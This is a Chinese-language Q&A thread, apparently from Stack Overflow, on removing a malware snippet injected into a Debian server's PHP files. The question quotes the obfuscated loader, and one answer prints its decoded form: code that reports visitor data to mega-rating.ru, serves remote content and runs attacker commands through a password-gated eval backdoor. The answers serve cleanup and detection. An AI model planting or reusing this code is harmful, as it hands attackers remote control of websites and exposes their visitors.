0

我服务器上的所有 Index.php、header.php、footer.php 文件都有这个代码段。可能的恶意软件。现在我想一次从我的所有文件中删除所有这些垃圾数据。我在 Debian 系统上使用 PHP。

<?php
//###=CACHE START=###
error_reporting(0); 
$strings = "as";$strings .= "sert";
@$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvEcpPN9VPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqBjbxqKWfVQ0tVzu0qUN6Yl9gMJquYKWuqTyhMl5lqF9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEcpPxhVvMxCFVhqKWfMJ5wo2EyXPExXF4vWaH9Vv51pzkyozAiMTHbWUHcYvVzLm0vYvEwYvVznG0kWzt9Vv5gMQHbVwN1LJIzMGIxMwN4ZGt5AwquZJV0AGx2ATZmAQLkAmSyVv4xMP4xqF4xLl4vZFVcBjccMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsFOyoUAynJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWUWyp3IfqPN9VTA1pzksMKuyLltxL2tcBjcwqKWfK2Afo3AyXPEwnPx7PvEcLaLtCFNxpzImqJk0Bjc9VTIfp2HtrjbxMaNtCFOzp29wn29jMJ4bVz1yM2RgpzS0nJ5aYaW1VvjtBQNfVPEypaWholjtWTIlpaA0pvjtZmNcBjccMvNbWTMjXFO7PvNtVPNxo3I0VQ0tVxqSIPNiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxnKNcYvVzMQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPVjAJSyMzH1MTLjBQR4BGL3LGSvAQH5AwEwZmD2ZGpkMFVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvOgMJquYKWuqTyhMl5lqIklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwL5LzZjBGZjVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
//###=CACHE END=###
?>

我试过通过 PHP 使用 Regex 但没有帮助我也在 Linux 服务器上尝试过 sed

sed -e '/@\$stringd' index.php

但无法保存文件。请帮忙。

4

2 回答 2

1

正如@jeroen 所说,重新安装会很好,因为您真的不知道现在可能存在哪些后门。

然后你将不得不清理你的 PHP 文件。在您的项目根目录中创建一个新脚本,例如scan.php.

我建议不要自动删除问题,而是创建一个帮助程序来检查代码中可能仍然存在恶意软件的位置:

$dir = new DirectoryIterator(dirname(__FILE__));

foreach ($dir as $fileinfo) 
{
    if (!$fileinfo->isDot()) 
    {
        $fileContents = file_get_contents($fileinfo->getFilename());

        if (strpos($fileContents, 'str_rot13') !== false)
        {
            print "Check this file: " . $fileinfo->getFilename() . "\n";
        }
    }
}

该脚本非常原始,您必须根据需要对其进行修改。

 块连接

解码后的脚本如下所示:

<?php

if (isset($ibv)) {
    echo $ibv;
} else {
    error_reporting(0);
    ini_set('display_errors', '0');
    if (!isset($ibv)) {
        if (!empty($_COOKIE['client_check'])) {
            die($_COOKIE['client_check']);
        }
        if (preg_match('!\S!u', file_get_contents($_SERVER['SCRIPT_FILENAME']))) {
            $c = 'u';
        } else {
            $c = 'w';
        }
        $d = $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
        $u = $_SERVER['HTTP_USER_AGENT'];
        $ip = $_SERVER['REMOTE_ADDR'];
        $url = 'http://mega-rating.ru/get.php?ip='.urlencode($ip).'&d='.urlencode($d).'&u='.urlencode($u).'&c='.$c.'&i=1&h='.md5('05aefe5df0818967a1b45964c346171e'.$d.$u.$c.'1');
        if (ini_get('allow_url_fopen') == 1) {
            $ibv = file_get_contents($url);
        } elseif (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            $result = curl_exec($ch);
            curl_close($ch);
            $ibv = $result;
        } else {
            $fp = fsockopen('mega-rating.ru', 80, $errno, $errstr, 30);
            if ($fp) {
                $out = 'GET /get.php?ip='.urlencode($ip).'&d='.urlencode($d).'&u='.urlencode($u).'&c='.$c.'&i=1&h='.md5('05aefe5df0818967a1b45964c346171e'.$d.$u.$c.'1')." HTTP/1.1\r\n";
                $out .= "Host: mega-rating.ru\r\n";
                $out .= "Connection: Close\r\n\r\n";
                fwrite($fp, $out);
                $resp = '';
                while (!feof($fp)) {
                    $resp .= fgets($fp, 128);
                }

                fclose($fp);
                list($header, $body) = preg_split("/\R\R/", $resp, 2);
                $ibv = $body;
            }
        }
    };
    if (isset($_REQUEST['p']) && $_REQUEST['p'] == '69bc0930') {
        eval(stripslashes($_REQUEST['c']));
    }

    echo $ibv;
}

我还建议阻止所有进出主机的连接mega-rating.ru

于 2016-06-29T09:34:09.757 回答
0

重新安装服务器确实是最安全的选择。
但是如果没有这些 php 脚本的最新备份...

无论如何,sed 并不是文件中多行替换的最佳工具。
而且您想删除这些 CACHE 评论之间的任何内容。
我会为此使用 Perl 或 Awk。

这是一个从文件中删除这些注释的单行 perl 解决方案。
(还创建原始文件的 .bak 副本)

perl -i.bak -p -0 -e 's@//###=CACHE.*?CACHE END=###@@gs' index.php

请注意,@ 用于表示正则表达式的分隔符。通常/使用,但这种方式/不必在正则表达式中使用反斜杠。

对于多个 *.php 文件(没有 .bak 副本)

perl -i -p -0 -e 's@//###=CACHE.*?CACHE END=###@@gs' *.php

使用的 perl 标志:

-i[extension]     edit <> files in place (makes backup if extension supplied)
-p                assume loop like -n but print line also, like sed
-0[octal]         specify record separator (\0, if no argument)
-e program        one line of program (several -e's allowed, omit programfile)
于 2016-06-29T10:26:44.417 回答